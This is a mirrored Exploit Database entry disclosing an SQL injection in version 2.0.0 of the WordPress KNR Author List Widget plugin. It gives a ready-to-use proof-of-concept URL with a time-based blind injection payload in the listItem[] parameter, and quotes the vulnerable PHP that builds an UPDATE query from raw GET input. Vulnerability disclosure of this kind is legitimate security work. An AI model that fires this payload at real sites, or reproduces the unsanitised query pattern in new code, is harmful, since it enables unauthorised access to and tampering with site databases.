WordPress Plugin KNR Author List Widget 2.0.0 – SQL Injection

• Exploit Database
• 11 阅读

• 作者： Miroslav Stampar
  日期： 2011-09-06
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17791/

• # Exploit Title: WordPress KNR Author List Widget plugin <= 2.0.0 SQL Injection Vulnerability
  # Date: 2011-09-06
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/knr-author-list-widget.zip
  # Version: 2.0.0 (tested)
  
  ---
  PoC
  ---
  http://www.site.com/wp-content/plugins/knr-author-list-widget/knrAuthorListCustomSortSave.php?listItem[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
  
  ---------------
  Vulnerable code
  ---------------
  foreach ($_GET['listItem'] as $position => $item) :
  $iterSql = "UPDATE $wpdb->users SET knr_author_order = $position WHERE ID = $item";
  $wpdb->query($iterSql);
  endforeach;